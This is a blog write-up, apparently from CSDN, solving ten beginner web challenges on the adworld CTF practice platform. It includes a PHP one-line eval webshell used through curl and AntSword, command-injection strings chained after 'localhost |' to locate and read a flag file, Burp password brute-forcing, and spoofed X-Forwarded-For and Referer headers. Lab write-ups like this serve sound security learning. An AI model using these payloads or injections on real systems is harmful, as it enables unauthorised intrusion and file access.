攻防世界(adworld) WEB Exercise area(练习区)10题解题思路

攻防世界:https://adworld.xctf.org.cn/

view_source

点右键看源代码被禁止了?
要么F12,要么去其他工具中请求就可以了。

robots

机器人协议,是规定了爬虫哪些页面可以爬,哪些不可以。
/robots.txt
我们看到如下:

User-agent: *
Disallow: 
Disallow: f1ag_1s_h3re.php

也就是所有人都不允许爬取f1ag_1s_h3re.php的内容
那我们可以看看为什么它不给爬,直接访问即可。
/f1ag_1s_h3re.php

backup

一般备份文件名都是.back .bak结尾
我们尝试一番,发现index.php.bak竟然存在,这样就拿到了flag。

cookie

是一个很无聊的游戏,直接去cookie中找,在请求头找到了
Cookie: look-here=cookie.php
我们就去/cookie.php
看到See the http response
我们就去看响应头
flag: cyberpeace{xxxxxxxxxxxxxxxxxxxxxxxxx}

disabled_button

查看网页源代码:

<form action="" method="post">
<input disabled="" class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth">
</form>

去掉 disabled

weak_auth

随便登录试试,发现提示:
please login as admin
也就是用户名已经确定是admin了,那么密码可以用工具进行爆破(Burp工具)
在这里插入图片描述
在使用一个字典后,进行Sniper攻击,可以看到所有密码尝试中响应长度不同的即为我们要的结果。

simple_php

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>

对于这道题,我们需要两个点:

  1. 一个同时满足==0和true的弱变量
  2. 一个非is_numeric和大于1234的弱变量

从字面上,这种事不可能做到,但是php这种弱变量可以做到!
Poc:
?a=aa&b=9999a
参考:
https://blog.csdn.net/weixin_50597969/article/details/115492810
https://blog.csdn.net/qq_38837004/article/details/88316547

get_post

请用GET方式提交一个名为a,值为1的变量
请再以POST方式随便提交一个名为b,值为2的变量

构造cmd指令:

curl -X POST "http://xxxxxxxx:xxx?a=1" -d "b=2"

当然我们使用工具也是可以的

xff_referer

看到ip地址必须为123.123.123.123
也就是来源必须是这个地址
关于xff和referer:https://blog.csdn.net/recordliu/article/details/104098168
我们需要去伪造一个xff和referer
使用Burp工具去抓包,然后进行重放。

GET / HTTP/1.1
Host: 111.200.241.244:58407
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: XXX
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
X-Forwarded-For: 123.123.123.123
Cookie: look-here=cookie.php
Connection: close

发现response多了行

<script>document.getElementById("demo").innerHTML="必须来自https://www.google.com";</script>

我们再在请求头中添加
Referer: https://www.google.com
这样继续重放一次,就拿到了flag。

webshell

看到这句话:

你会使用webshell吗?
<?php @eval($_POST[‘shell’]);?>

我们就知道了,这是php常见的一句话木马。
一旦页面中有这一句,这个页面就会有一个服务,这个服务的功能是接受http post请求,参数是shell,shell的值就会被函数eval所执行。
我们不知道一句话木马在哪里,尝试一下index页面:

curl -X POST "http://xxx:xxx/index.php" -d "shell=phpinfo();";

果然拿到了服务器信息,但我们的目的是夺旗。
我们用蚁剑,构造数据源:
http://xxx:xxx/index.php
链接密码是shell
我们直接访问到了/var/www/html目录(apache目录)。
在这里插入图片描述
看到了flag。

command_execution

这道题拿到的时候,其实我是蒙的,因为不知道flag在哪里,以什么形式存在。
网页提供了ping功能
尝试简单的目录指令:

localhost | ls 
localhost | ls ..
localhost | ls ../..
localhost | ls ../../..

我们虽然看到了目录结构,但是对flag的获取似乎没有什么帮助(真的是这样吗)
猜测,flag应该在index.php的源码注释中(因为php解释为html后看不到原来的注释)
但是发现无法cat index.php(不知为何)

求助发现,我们需要去找一个flag.txt,那么我们执行linux查找指令:
localhost | find / -name flag.txt
结果是

ping -c 3 localhost | find / -name flag.txt
/home/flag.txt

我们继续执行cat指令:
localhost | cat /home/flag.txt

假如之前进去/home看看,那就不用求助了吧,还是太懒。

simple_js

查看网页源代码,发现有混淆的嫌疑,我们人工去混淆:

<html>
<head>
    <title>JS</title>
    <script type="text/javascript">
        String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

        function dechiffre(pass_enc) {
            var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
            var tab = pass_enc.split(',');
            var tab2 = pass.split(',');
            var i, p = "";
            for (i = 0; i < 5; i++) {
                p += String.fromCharCode(tab2[i]);
            }
            for (i = 6; i < 17; i++) {
                p += String.fromCharCode(tab2[i]);
            }
            p += String.fromCharCode(65);
            pass = p;
            return pass;
        }

        h = window.prompt('Enter password');
        alert(dechiffre(h));
    </script>
</head>
<body>
</body>
</html>

\x35 这种是ASCII码格式,我们去Burp编码Decode一下:
结果是:

\x5\x5\x,\x5\x6\x,\x5\x4\x,\x7\x9\x,\x1\x1\x5\x,\x6\x9\x,\x1\x1\x4\x,\x1\x1\x6\x,\x1\x0\x7\x,\x4\x9\x,\x5\x0

也是一个数组。
那么我们发现,不管我们输入什么,都是alert同一个pass。
flag在哪?似乎与此页面无关。
题目提示我们:Flag格式为 Cyberpeace{xxxxxxxxx}
尝试多种可能性之后无果

答案:其实之前ASCII码Decode出来的数组结果,还要再Decode一次(当然要去掉无关的符号)
给出我的JS工具:

<html>
<head>
    <title>JS</title>
    <script type="text/javascript">
        var str = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
        var tab = str.split(",");
        alert(tab);
        var s = "";
        for (var i = 0; i < tab.length; i++) {
            s += String.fromCharCode(tab[i]);// ascii decode , charCodeAt() -> encode
        }
        alert(s);
    </script>
</head>
<body>
</body>
</html>

我的分数

在这里插入图片描述

还是挺有成就感的~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值